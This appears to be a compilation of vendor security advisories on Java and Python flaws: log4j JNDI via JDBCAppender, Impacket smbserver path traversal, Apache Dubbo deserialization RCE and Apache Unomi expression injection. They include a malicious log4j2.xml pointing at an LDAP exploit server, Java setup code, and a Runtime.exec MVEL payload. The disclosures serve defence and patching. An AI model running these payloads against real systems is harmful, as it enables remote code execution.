Following that, a big hype was created in the world and especially in the security community, making many researchers interested in logging packages. Several other vulnerabilities and bypasses were found and published since then in log4j and other logging packages.

Technical details

Being extremely focused and dedicated researchers, we wanted to do a security audit ourselves on the log4j package in the hope of finding something interesting. And after a week of reviewing the code and testing, we encountered a new undiscovered deserialization security vulnerability. This vulnerability doesn’t use the disabled lookup feature.

The complexity of this vulnerability is higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration (like the ‘logback’ vulnerability CVE-2021-42550). In log4j there is a feature to load a remote configuration file that isn’t part of the local codebase and opens various attack vectors such as MITM (man in the middle) attack, DNS poisoning, lateral movement after gaining access to a storage node.

While looking at log4j features we came across the ‘Appender’ functionalities. Appenders are basically where to output the logs, so we have for example ConsoleAppender, FileAppender, etc.

The JDBCAppender caught our eyes since there are some public ways of getting RCE via JDBC Java deserialization (see this Blackhat talk By Yongtao Wang, Lucas Zhang and Kunzhe Chai for more information).

But before getting into the JDBC deserialization in log4j, we noticed that in the documentation there is a way to configure log4j so that it will fetch the database source dynamically and remotely via JNDI. The configuration of the remote database location is done with the DataSource element. Taking the example from the official documentation:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
	<Appenders>
	<JDBC name="databaseAppender" tableName="dbo.application_log">
		     <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
		 <Column ...
	</JDBC>
 </Appenders>
…
</Configuration>

there was not any restriction of putting an arbitrary LDAP remote URL, thus making it potential to the classic JNDI:LDAP deserialization vector (more information on the Blackhat talk by Alvaro Munoz & Oleksandr Mirosh).

After changing the tag to:

<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

our payload was triggered, and we executed calc.exe on the machine!

DataSource dataSource = (DataSource)context.lookup(jndiName);

Is the line that triggers the JNDI lookup, it is in DataSourceConnectionSource -> createConnectionSource which is called from the PluginBuilder. And this is also the reason for the crash since we cannot cast the object to DataSource (the crash happens after the deserialization). The lookup function will do LDAP lookup to the “RemainingName” which is the DN (what comes after the slash).

To understand the calls better, we can follow the callgraph bottom up to see who calls who:

createConnectionSource:75, DataSourceConnectionSource (org.apache.logging.log4j.core.appender.db.jdbc)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

build:136, PluginBuilder (org.apache.logging.log4j.core.config.plugins.util)

createPluginObject:1120, AbstractConfiguration (org.apache.logging.log4j.core.config)

createConfiguration:1045, AbstractConfiguration (org.apache.logging.log4j.core.config)

createConfiguration:1037, AbstractConfiguration (org.apache.logging.log4j.core.config)

createConfiguration:1037, AbstractConfiguration (org.apache.logging.log4j.core.config)

doConfigure:651, AbstractConfiguration (org.apache.logging.log4j.core.config)

initialize:247, AbstractConfiguration (org.apache.logging.log4j.core.config)

start:293, AbstractConfiguration (org.apache.logging.log4j.core.config)

setConfiguration:626, LoggerContext (org.apache.logging.log4j.core)

reconfigure:699, LoggerContext (org.apache.logging.log4j.core)

reconfigure:716, LoggerContext (org.apache.logging.log4j.core)

start:270, LoggerContext (org.apache.logging.log4j.core)

getContext:155, Log4jContextFactory (org.apache.logging.log4j.core.impl)

getContext:47, Log4jContextFactory (org.apache.logging.log4j.core.impl)

getContext:196, LogManager (org.apache.logging.log4j)

getLogger:599, LogManager (org.apache.logging.log4j)

main:11, log4j

Steps to reproduce

For the vulnerability to be exploitable, Log4J’s configuration file needs to be loaded from an external source. This can be a remote FTP server, cloud storage etc. An attacker could use technics such as DNS poisoning and MITM in order to inject a uniquely crafted configuration file and ultimately exploit the vulnerability.

1 – Fetching Remote configuration via HTTP

System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");

2 – Using the same LDAP (Lightweight Directory Access Protocol) server as done in the CVE-2021-44228 PoC (Proof of Concept), all we need to do is to run:

//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    }
}

3 – Inject the malicious log4j2.xml file into the response:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

Expected results

When initializing the logger object, a request to the remote log4j2.xml will be made. In the loading process, an attempt to load the DataSource object will make a request to the LDAP server that will then redirect to a malicious class. In the end, the arbitrary class will be deserialized and executed.

Apache’s fix

On December 27th the fixing commit 05db5f9 was released. As we can see before the fix, the lookup of the DataSource was made directly with the InitialContext, which is a Java internal class.

In version 2.17.1 the lookup uses the log4j’s JNDI wrapper, and thus disables the lookup. A new log4j2.enableJndiJdbc system property was added to reenable this functionality.

This is the reason why the vulnerability is exploitable using log4j’s default system properties.

Why is this interesting?

There are two main configuration scenarios when using Log4J.

• The configuration is on a remote location. This can be useful for developers in case of multiple products sharing the same logging configuration. In this case, an attacker could expand their control over a network by gaining access to the node that serves the configuration file, or use techniques such as MITM and DNS poisoning to inject a malicious configuration file and trigger code execution.
• The configuration is a local file and is part of the repository or project. This is the case for most products in the wild. Even though this scenario is harder to leverage, an attacker could attempt to alter the configuration file by gaining access to the source code, especially if it’s an open-source project that’s maintained by a community such as GitHub. For example, an attacker could find a popular Java package that’s using Log4J, alter its configuration file, and cause a supply chain attack for developers who are using this package. Unlike changes to the code itself, configuration files tend to draw less focus and are easier to “sweep under the rug”.

Mitigation

Upgrade your Apache Log4j2 to versions 2.17.1, 2.12.4, and 2.3.2 or above.

Timeline of disclosure

27/12/2021 – Responsible disclosure was made to Apache.
27/12/2021 – Acknowledgment received from Apache.
28/12/2021 – Checkmarx customers who were using Log4J were warned, without exposing the vulnerability‘s details.
28/12/2021 – CVE-2021-44832 was assigned to this issue.
28/12/2021 – Fixed version 2.17.1 was released.

Recommendations

Checkmarx SCA solution enables organizations to address open source security issues earlier in their SDLC, and reduces manual processes by scanning your code and identifying the security risk it contains, so you can deliver secure and compliant software faster, and at scale.

Checkmarx SCA also provides SBOM (Software Bill of Materials) automation at scale, which seems like the need of the hour for anyone that uses open source code in their organization.

For a free demonstration of Checkmarx SCA, please contact us here.

CVSS Score

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CVS Score: 9.9 (Critical)

Impact Summary

If the vulnerability is exploited, an attacker could write files to any location on the affected computer. This could be elevated to an RCE in a variety of ways depending on the environment and the operating system. This will be demonstrated later in this write-up.

Description

Impacket’s smbserver is vulnerable to Path Traversal Attacks. An attacker that connects to a running smbserver instance can list and write arbitrary files to any location on the attacked host (not just the chosen workdir for the server).
The reason for that is that while there is validation against relative paths in filenames in smbclient (and of course Windows Client), the Impacket SMB server implementation, smbserver does not validate it, which allows an attacker with an edited version of smbclient to exploit anyone who deploys an instance of smbserver.

Vulnerability Analysis

The following 2 lines take the filename path from the received SMB request and try to list its directory without making sure that the path is inside the intended working directory. This could enable an attacker to read the contents of the file system:

• https://github.com/SecureAuthCorp/impacket/blob/cb6d43a677c338db930bc4e9161620832c1ec624/impacket/smbserver.py#L3485
• https://github.com/SecureAuthCorp/impacket/blob/cb6d43a677c338db930bc4e9161620832c1ec624/impacket/smbserver.py#L876

The following 2 lines take the filename path and contents from the received SMB request and try write the contents to the received path without making sure that the path is inside the intended working directory. This could enable an attacker to arbitrarily write files:

• https://github.com/SecureAuthCorp/impacket/blob/cb6d43a677c338db930bc4e9161620832c1ec624/impacket/smbserver.py#L2008
• https://github.com/SecureAuthCorp/impacket/blob/cb6d43a677c338db930bc4e9161620832c1ec624/impacket/smbserver.py#L2958

Proof-of-Concept

To exploit this vulnerability, we have edited Impacket’s own smbclient.py to exploit its server implementation with 2 extra functions: do_ls_exploit and do_put_exploit. The functions do the exact same thing as do_ls and do_put (which is list directory and put file), only they do not sanitize the file paths on the client.
Since this is not enforced on the server, when combined with a path containing Path Traversal strings (../), these customized functions allow an attacker to read directories and write files anywhere on the file system.
Below are the differences between the two smbclient functions and their original counterparts:

Below is a Proof-of-Concept flow of the attack:

Creating a file for injection, connecting to a running smbserver instance (run locally for demonstration purposes) using the edited smbclient.py script and connecting to WORKDIR

Listing the directory contents (empty directory)

Listing /tmp using Path Traversal exploit

Injecting poc.txt and confirming using the exploit again.

CrackMapExec

Another tool that we found containing the same vulnerability is CrackMapExec. CrackMapExec (or CME for short) is a post-exploitation tool used primarily for offensive purposes and is heavily based on the Impacket library. We have found three attack modules that use the vulnerable smbserver which are: netripper, get_timedscreenshot and get_keystrokes. When an attacker attacks a victim with one of these modules, CME opens an smbserver instance in order to collect the results. As we’ve seen before, this could be exploited by a third party.

Proof-of-Concept

Exploitation of the get_timedscreenshot module of CrackMapExec using an injected PHP Webshell in /var/www/html.

cme

Honeypots and Chameleon

Finally, we found two honeypot-based tools (used for creating intentionally vulnerable environments that act as tripwires for incoming attacks) called “honeypots” and “Chameleon,” which again contain the same vulnerability. “Honeypots” is a python library which contains 16 different honeypots (including Impacket’s smbserver) in a single PyPI package for monitoring network traffic.
Chameleon is a project from the same creators which features a GUI for handling multiple honeypots (imported from the “honeypots” library), which again contains the same vulnerability.

Proof-of-Concept

Exploitation of the “honeypots” smbserver using an injected SSH Key.

honeypots

Recommendations

To avoid issues like this, update the Impacket package to the latest version.

Summary of Disclosure and Events

After notifying SecureAuthCorp, they informed us that they were aware that there might be possible vulnerabilities in the implementation, as can be seen by this 10 year old comment. Nevertheless, they did acknowledge the vulnerability and promptly accepted our fix. We would like to thank SecureAuthCorp for their fast response and continuous contribution to the security and research community.

Timeline of Disclosure

• Apr 20, 2021 – Disclosure
• Apr 20, 2021 – Issue acknowledged by SecureAuthCorp
• Apr 26, 2021 – Fix committed
• Apr 26, 2021 – CVE-2021-31800 assigned
• May 3, 2021 – Fixed version released
• June 16, 2021 – Public disclosure

Final Words

The research and resulting findings with Impacket serve as a valuable reminder that almost any piece of code that could be deployed in an organization must be tested regularly and made compliant, even if it does something as benign as serve some files via an SMB share. In this case, multiple tools that can be deployed by security experts in the company, either for testing or entrapment (honeypots), would actually be leaving themselves vulnerable.
Impacket is very popular amongst security professionals, and so are the derivatives uses of the vulnerable code within it. The Checkmarx Security Research Team is dedicated to performing investigations of this nature to better improve the security posture of tools and organizations more broadly.

Copyright Notices

Impacket

Copyright (c) 2000 The Apache Software Foundation.  All rights reserved.
This product includes software developed by SecureAuth Corporation (https://www.secureauth.com/)

CrackMapExec

Copyright (c) 2020, byt3bl33d3r All rights reserved.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Chameleon

Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/  Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Honeypots

Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/  Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

When I previously wrote the original Dubbo publication, we disclosed that issue as it was mitigated by the vendor. While the Dubbo “HTTP” protocol in that disclosure was trivially vulnerable to the most common Java deserialization attacks (as evidenced by the immediate cropping up of exploits for Dubbo as soon as a very broad description of the issue was published in a mailing list) – the so-called “HTTP” was an elective protocol, and honestly – there was no apparent reason to choose it over the default Dubbo protocol. This made it an unlikely misconfiguration, and most devs would probably just stick to the default Dubbo protocol; this made it very tempting to investigate Dubbo further.
The “Dubbo” protocol is a proprietary binary protocol which required some reverse-engineering of its inner logic and how it is being consumed by the endpoint. It actually wraps around the binary of the serialized object, adding meta-data and additional objects to the stream. The underlying deserializer defaults to Hessian2, configured to exclude many of the “known dangerous” classes often used to exploit such attacks. However, there were some ways to manipulate this protocol, such as elect the deserializer, which would then lead to RCE.

Vulnerability Overview

The Dubbo protocol is a proprietary protocol developed for Apache Dubbo for transmission of objects between Dubbo services. Apache Dubbo providers and consumers using certain versions of Dubbo, when configured to accept the default “Dubbo” protocol, allows a remote attacker to send a malformed stream containing a malicious object to the exposed service which would result in Remote Code Execution.

This RCE occurs with no authentication, and no knowledge on an attacker’s part is required to exploit this vulnerability – only an open port on a Provider server running Apache Dubbo. This issue applies to default configuration, where the built-in Dubbo protocol is used.

Severity

Checkmarx considers this vulnerability to have a CVS Score of 10.0 (Critical), as it is an unauthenticated remote code execution vulnerability which provides privileges at the Dubbo service’s permission level, allowing complete compromise of that service’s confidentiality, integrity, and accessibility.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

What’s Going On – Understanding the Dubbo Protocol

The server-side “Dubbo” protocol on a provider is used to expose a service, and methods within this service, to external consumers.
The “Dubbo” protocol has two general modes served over the same port:

1. Telnet-like mode, where a CLI is available to allow invoking a method exposed by the provider service
2. An RMI mode, where the TCP packet is then treated as a byte stream, which is deserialized to be used with the service offered by the Dubbo provider

Fig. 1 – Dubbo Telnet

While default behavior is Telnet-like, the way the remoting protocol is invoked is by providing a header which is built in the following manner:

1. Two magic bytes – 0xdabb
2. A flag byte – this flag determines:
   1. If this stream is a request or a response
   2. If this transaction is one-way or two-way
   3. Deserialization mechanism identifier (Hessian2, Kryo, Java etc.)
3. Padding null-bytes, to allow for dynamic length
4. Length of stream

This method is reminiscent of port-knocking, but instead of sending a stream of bytes to open a port, two preamble bytes are used to switch between protocols (Telnet-like mode and RMI-like mode).
The preamble header is then followed a stream sequence containing the following data:

1. Dubbo Protocol version
2. Service name (“Path”)
3. Service version
4. Method name
5. Method argument types
6. Method arguments
7. Request attachments, which may contain additional data

All of the above data is read as a UTF string with the exception of 6 – method arguments; this is because a method argument may contain any Java object which may be passed to the Dubbo Provider, while other data is provided as Strings, to be used with reflections inside the code.
The open Dubbo port can be trivially fingerprinted as such by readily available tools, such as Nmap.

Fig. 2 – Dubbo telnetd Service, As It Appears on Nmap

The raw TCP request, including preamble and metadata, sends a request and receives a response over the same TCP stream, as demonstrated via Dubbo’s Quick Start sayHello demo:

Fig. 3 – Dubbo Protocol Request in Its Default Serialized Form

Fig. 4 – Dubbo Protocol Response in Dubbo Demo

Fig. 5 – Dubbo Protocol Breakdown

Attacking the Dubbo Protocol

The most commonly known Java-based gadget chains used for exploiting deserialization attacks rely on several key classes – these classes appear to be blacklisted on the default Hessian2 serializer.
The Dubbo protocol relies on the flags byte (3^rd byte of the stream) to determine which serializerdeserializer to use when processing this stream. While the default is Hessian 2, and attacker may tamper with this flag to choose a different deserializer, exposing multiple additional options for serialization. These additional deserializers do not offer the same protection Hessian 2 does.
An attacker can modify the flag to choose either of the following protocols:

• FST Serialization
• Kryo Serialization

Both of these protocols are binary serialization protocols, and successfully deserialize the FastJSON gadget-chain.

Fig. 6 – The Majestic, Feral Beauty of a Kryo-Serialized FastJSON Gadget ByteStream

For the purpose of having the gadget chain deserialized, however, a compliant stream should be created containing the required preamble, headers, and metadata.
Since the exploit does not actually require Dubbo to successfully dispatch the request (in versions <= 2.7.5), but rather simply successfully read, parse and deserialize it, the stream itself can contain random or arbitrary strings. These strings are only there to serve as padding and satisfy multiple “readUTF” operations, until readObject is called on the stream, at which point FST or Kryo are the chosen deserializer and the exploit is triggered.

Recreating the Issue

An attacker can reimplement the Dubbo protocol with its byte preamble, header flags and content length, as well as dummy strings and a malicious object to satisfy the endpoint’s implementation for reading it.
The same gadget chain used in the previous exploit for 2.7.3 HTTP protocol, which allows remote OS command execution was found in the scope of vanilla Apache Dubbo, so long as dubbo-common is also in scope (more on this later).

Proof-of-Concept

Recreating a Victim Dubbo Instance for PoC

Either use the code sample from my previous research blog or follow this guide:

1. Follow the Official Apache Dubbo Quick-Start guide until a functioning provider and registry are successfully created (see here for a full sample)
2. Ensure dubbo-common, or a package where this dependency is not optional, are in scope

 Add the following dependencies to enable Spring Framework, Dubbo and Dubbo Common (presented in Maven pom.xml form for ease of use):

Triggering Vulnerability PoC

See this link for functioning POC code. The gadget chain being exploited here, which is native to Dubbo 2.7.3’s ecosystem, is clearly broken down in Part 1. The rest of this POC takes this gadget, and reimplements the Dubbo protocol to wrap it with the appropriate preamble, flags, and headers to exploit a vulnerable deserializer on a receiving Dubbo endpoint.

Fig. 7 – Deserialization Gadget Writes “whoops!” to Java Console, and Starts Calc.exe

Vulnerability Evolution

Between the disclosure of this issue and the CVE, this issue has evolved across several releases. For versions 2.7.5 and 2.7.6 – the vulnerable deserializers have been removed from the core packages into their own respective packages. This functionality is imported separately, in the form of the dubbo-serialization-kryo/fst packages. In 2.7.7, according to documentation, it is no longer possible to pass garbage values in the Dubbo stream – deserialization does not occur without a proper method and service name.

Conclusions

This exploit, following the previous PoC for exploiting the HTTP protocol in version 2.7.3, further illustrates the need for strict whitelisting combined with class resolution look-ahead within any remote invocation services that deal with serialized objects – not just for Dubbo, and not just for Java.
While this issue is glaring for Dubbo 2.7.3 and under, because of the gadget chain relying on an outdated FastJSON discovered and disclosed in the previous research, this only scratches the surface of this attack – other gadget chains may still exist within Dubbo’s internals, and most Dubbo instances will rely on other dependencies beyond those bundled with this software, allowing for a more diverse dependency ecosystem and allowing similar forms of exploitation to persist until a robust whitelist solution is used within Dubbo’s internals.
At present, it is safe to assume many (and probably most) instances of Dubbo <= 2.7.3 are vulnerable to remote code execution via deserialization of untrusted data, while any Dubbo version under 2.7.8 has some form of unsafe deserialization going on in the Dubbo Protocol pipeline, 2.7.9 has added a configuration flag to prevent “chosen deserializer” attacks such as this. Whether it is vulnerable is dependent on gadget availability – which is always a likely possibility.

Recommendations

• Upgrade from Alibaba Dubbo to Apache Dubbo; Alibaba Dubbo does not appear to be officially maintained any longer
• Update Apache Dubbo to its latest version
• Ensure to never import unnecessary Dubbo packages, e.g. dubbo-serialization-kryo where Kryo is not actively used, to reduce attack surface against the RMI interface

Disclosure Timeline

2/5/20 – Disclosure of Dubbo RCE Deserialization Exploit
2/19/20 – Reminder #1 to Apache Security Team
4/6/20 – Reminder #2 to Apache Security Team
7/27/20 – Reminder #3 to Apache Security Team
1/22/21 – First Acknowledgement of Issue
2/26/21 – Fix Released
6/4/21 – Public Disclosure

Apache Package Versions

Deserialization RCE with FastJSON Gadget:
Vulnerable package: org.apache.dubbo.dubbo <= 2.7.3
Requirements:
org.apache.dubbo.dubbo-common <= 2.7.9
org.springframework.spring-web – 5.3.4
Deserialization vulnerability without FastJSON Gadget, requires additional deserialization gadget in scope:
Vulnerable package: org.apache.dubbo.dubbo <=2.7.6 – implementation dependent
Requirements:
org.apache.dubbo.dubbo-common <= 2.7.9
dubbo-serialization-kryo AND/OR dubbo-serialization-fst – <=2.7.9

Alibaba Package Versions

Despite certain signs of life, this is no longer officially maintained – all Alibaba Dubbo resources now point to Apache Dubbo.
Deserialization RCE with FastJSON Gadget:
Vulnerable package: com.alibaba.dubbo <= 2.6.7
Requirements:
Com.alibaba.dubbo-serialization-kryo OR Com.alibaba.dubbo-serialization-fst <= 2.6.7
org.springframework.spring-web – 5.3.4
Deserialization vulnerability without FastJSON Gadget, requires additional deserialization gadget in scope:
Vulnerable package: com.alibaba.dubbo <= 2.6.9
Requirements:
Com.alibaba.dubbo-serialization-kryo OR Com.alibaba.dubbo-serialization-fst <= 2.6.9
org.springframework.spring-web – 5.3.4

Final Words

Disclosures like this are part of the Checkmarx Security Research Team’s efforts to drive changes in software security practices. Checkmarx is committed to analyzing open source packages to help development teams build and deploy more secure software.

Executive Summary: CVE-2020-13942

What We Found

Apache Unomi allowed remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitrary classes, resulting in Remote Code Execution (RCE) with the privileges of the Unomi application. MVEL and OGNL expressions are evaluated by different classes inside different internal packages of the Unomi package, making them two separate vulnerabilities. The severity of these vulnerabilities is heightened since they can be exploited through a public endpoint, which should be kept public by design for the application to function correctly, with no authentication, and no prior knowledge on the attacker’s part.
Both vulnerabilities, designated as CVE-2020-13942, have a CVS Score of 10.0 (Critical) as they lead to complete compromise of the Unomi service’s confidentiality, integrity, and accessibility, in addition to allowing access to the underlying OS.

Details

Previous RCE Found in Unomi

Unomi offers a restricted API that allows retrieving and manipulating data, in addition to a public endpoint where applications can upload and retrieve user data. Unomi allows complex conditions in the requests to its endpoints.
Unomi conditions rely on expression languages (EL), such as OGNL or MVEL, to allow users to craft complex and granular queries. The EL-based conditions are evaluated before accessing data in the storage.
In the versions prior to 1.5.1, these expression languages were not restricted at all—leaving Unomi vulnerable to RCE via Expression Language Injection. An attacker was able to execute arbitrary code, and OS commands on the Unomi server by sending a single request. This vulnerability was classified as CVE-2020-11975 and was fixed. However, due to further investigation by the Checkmarx Security Research Team, we discovered that the fix is not sufficient and can be trivially bypassed.

Patch Not Sufficient – New Vulnerabilities Discovered

The patch for CVE-2020-11975 introduced SecureFilteringClassLoader, which checks the classes used in the expressions against an allowlist and a blocklist. The SecureFilteringClassLoader relies on the assumption that every class in both MVEL and OGNL expressions is loaded using the loadClass() method of the ClassLoader class. The SecureFilteringClassLoader overrides the ClassLoader loadClass method and introduces the allowlist and blocklist checks. This assumption happened to be incorrect. There are multiple ways of loading a class other than calling the loadClass() method, which leads to the security control bypass and leaves Unomi open to RCE.
First, the MVEL expressions in some cases use already instantiated classes, like Runtime or System, without calling loadClass(). This results in the latest version of Unomi (1.5.1) allowing the evaluation of MVEL expressions inside the condition, which contains arbitrary classes.
The following HTTP request has a condition with a parameter containing a MVEL expression (script::Runtime r = Runtime.getRuntime(); r.exec(“touch /tmp/POC”);). Unomi parses the value and executes the code after script:: as an MVEL expression. The expression in the example below creates a Runtime object and runs a “touch” OS command, which creates an empty file in /tmp directory.

Vulnerability #1

Second, there is a way to load classes inside OGNL expressions without triggering the loadClass() call. The following HTTP request gets Runtime and executes an OS command using Java reflections API.

Vulnerability #2

The payload may look scary but it’s simply Runtime r = Runtime.getRuntime(); r.exec(“touch /tmp/POC”); written using reflection API and wrapped into OGNL syntax.
Both presented approaches successfully bypass the security control introduced in version 1.5.1, making it vulnerable to RCE in two different locations.

Possible Attack Scenarios

Unomi can be integrated with various data storage and data analytics systems that usually reside in the internal network. The vulnerability is triggered through a public endpoint and allows an attacker to run OS commands on the vulnerable server. The vulnerable public endpoint makes Unomi an ideal entry point to corporate networks. Its tight integration with other services also makes it a steppingstone for further lateral movement within an internal network.

Summary of Disclosure and Events

After discovering and validating the vulnerabilities, we notified Apache of our findings and worked with them throughout the remediation process until they informed us everything was appropriately patched.
To learn more about these types of vulnerabilities, OWASP and CWE have descriptions, examples, consequences, and related controls, as shown in the following links:

• https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
• https://cwe.mitre.org/data/definitions/917.html

Additionally, read the code, analyze the fix, and learn how to mitigate similar issues via our interactive CxCodebashing lesson here.

Timeline of Disclosure

June 24, 2020 – Vulnerability disclosed to Apache Unomi developers
August 20, 2020 – Code with the mix merged to master branch
November 13, 2020 – version 1.5.2 containing the fixed code is released
November 17, 2020 – public disclosure

Recommendations

The evaluation of user-defined expression language statements is dangerous and hard to constrain. Struts 2 is an excellent example of how hard it is to restrict dynamic OGNL expressions and avoid RCE. These attempts to impose usage restrictions from within/on the EL, rather than restricting tainted EL usage for general purposes, is an iterative approach, rather than a definitive one. Instead, a more reliable means to prevent RCE is to remove the support of arbitrary EL expressions entirely, creating a set of static expressions that rely on dynamic parameters instead.
Static Application Security Testing solutions, like CxSAST, can detect OGNL injections in source code and prevent this sort of vulnerability from making its way into production. Meanwhile, software composition analysis (SCA) solutions, such as CxSCA, will have the necessary data about the vulnerable package and will update CxSCA users as soon as the vulnerability is publicly disclosed. To learn how to mitigate similar issues, visit our CxCodebashing lesson here.

Final Words/Summary

This type of research is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among all organizations. Checkmarx is committed to analyzing open source software to help development teams build and deploy more-secure applications. Our database of open source libraries and vulnerabilities is cultivated by the Checkmarx Security Research Team, empowering CxSCA customers with risk details, remediation guidance, and exclusive vulnerabilities that go beyond the NVD.
To learn more about this type of RCE vulnerabilities, read our blog about Struts 2. For more information or to speak to a Checkmarx expert about how to detect, prioritize, and remediate open source risks in your code, contact us.

Having developed a high level of interest in serialization attacks in recent years, I’ve decided to put some effort into researching Apache Dubbo some months back. Dubbo, I’ve learned, deserializes many things in many ways, and whose usage world-wide has grown significantly after its adoption by the Apache Foundation.

Figure 1 – Dubbo Architecture
According to a mid-2019 press-release, Dubbo is “in use at dozens of companies, including Alibaba Group, China Life, China Telecom, Dangdang, Didi Chuxing, Haier, and Industrial and Commercial Bank of China, among others”. In the same press-release, Apache announced Dubbo being promoted into an Apache Top-Level Project.

Figure 2 – Dubbo Users, According to Apache Dubbo Website
I discovered that Apache Dubbo providers and consumers using versions <= 2.7.3 of Dubbo, when configured to accept the HTTP protocol, allows a remote attacker to send a malicious object to the exposed service, which would result in Remote Code Execution. This occurs with no authentication, and minimal knowledge on an attacker’s part is required to exploit this vulnerability. Specifically, only the exploit described herein and a URL is required to successfully exploit it on any Dubbo instance with HTTP enabled. A proof of concept video also accompanies this report.
An attacker can exploit this vulnerability to compromise a Dubbo provider service, which is expecting remote connections from its consumers. An attacker can then replace the Dubbo provider with a malicious Dubbo provider, which could then respond to its consumers with a similar malicious object – again resulting in Remote Code Execution. This allows an attacker to compromise an entire Dubbo cluster.
The root cause for this issue is due to the use of a remote deserialization service in Spring Framework, whose documentation explicitly recommends not to use it with untrusted data, in-tandem with an outdated library, which contains a lesser-known gadget chain that enables code execution. A combination of unsafe deserialization of untrusted data, and a gadget chain, is what bridges the gap between remote access and remote unauthenticated code execution.
Credits are in order to Chris Frohoff and Moritz Bechler for their research and tools (ysoserial and marshalsec), as some of their code was used in the gadget chain, and their research laid the foundation for this exploit.

Severity

Checkmarx considers this vulnerability to have a CVS Score of 9.8 (Critical), since it is an unauthenticated remote code execution vulnerability that provides privileges at the Dubbo service’s permission level, allowing complete compromise of that service’s confidentiality, integrity, and accessiblity.
While not all Dubbo instances are configured to use the HTTP protocol, instances with known vulnerable versions that are configured to use this protocol would be trivially vulnerable, given minimal and readily available information, which is the URL to the vulnerable service. This service URL would be publically available within the network, via services such as a registry (e.g. Zookeeper), and is not considered secret or confidential.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H

Specifications

What’s Going On?

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider’ instance of Apache Dubbo, if this instance enables HTTP.
The Dubbo HTTP instance attempts to deserialize data within the Java ObjectStream, which contains a malicious set of classes, colloquially referred to as a gadget chain, whose invocation results in the execution of malicious code. In this instance, the malicious code in question allows arbitrary OS commands, and the invocation of the gadget chain occurs when an internal toString call is made in the Dubbo instance on this gadget chain, during exception creation.

Recreating the Issue

An attacker can submit a POST request with a malicious object to a bean URL for an Apache Dubbo HTTP Service, which would result in remote code execution. The bean, in this case, is the interface implementation class bound by Spring to a given Dubbo protocol endpoint. The bean is wired to a URL, and the request body for the bean contains an HTTP Remote Invocation used to determine which bean method is invoked, and with what parameters.
Once an attacker has the bean’s URL, all they have to do to exploit this vulnerability is to submit a malicious gadget chain via a standard POST request.
A new gadget chain which allows remote OS command execution was found in the scope of vanilla Apache Dubbo with Dubbo-Remoting-HTTP, if the HTTP service and protocol are enabled.

Recreating a Victim Dubbo HTTP Instance for PoC

Follow this guide:

1. Follow the Official Apache Dubbo Quick-Start guide until a functioning provider and registry are successfully created
2. Enable Dubbo HTTP service – Edit dubbo-demo-provider.xml – change dubbo:protocol name to “http”

Targeting a Vulnerable Instance

To trigger this vulnerability, an attacker must identify a URL to the Dubbo HTTP bean. URL addresses are generally not confidential or privileged, since they can be obtained from Dubbo service registries (e.g., Zookeeper), multicasts, and, in the absence of a well-deployed HTTPS pipeline, allow Man-in-the-Middle attacks.

Triggering Vulnerability PoC

Review Appendix 1 for functioning POC code. Note that variables such as the IP address of the Dubbo instance require modification inside this code.
An attacker requires the same dependencies as the Dubbo HTTP Service, stated above. In this PoC, com.nqzero:permit-reflect for reflection features required during serialization, and org.apache.httpcomponents.httpclient was used to send the malicious gadget to the HTTP service. To trigger the vulnerability, a new gadget chain was engineered using means available within the class space of Apache Dubbo and JDK.
This gadget chain uses the following components:

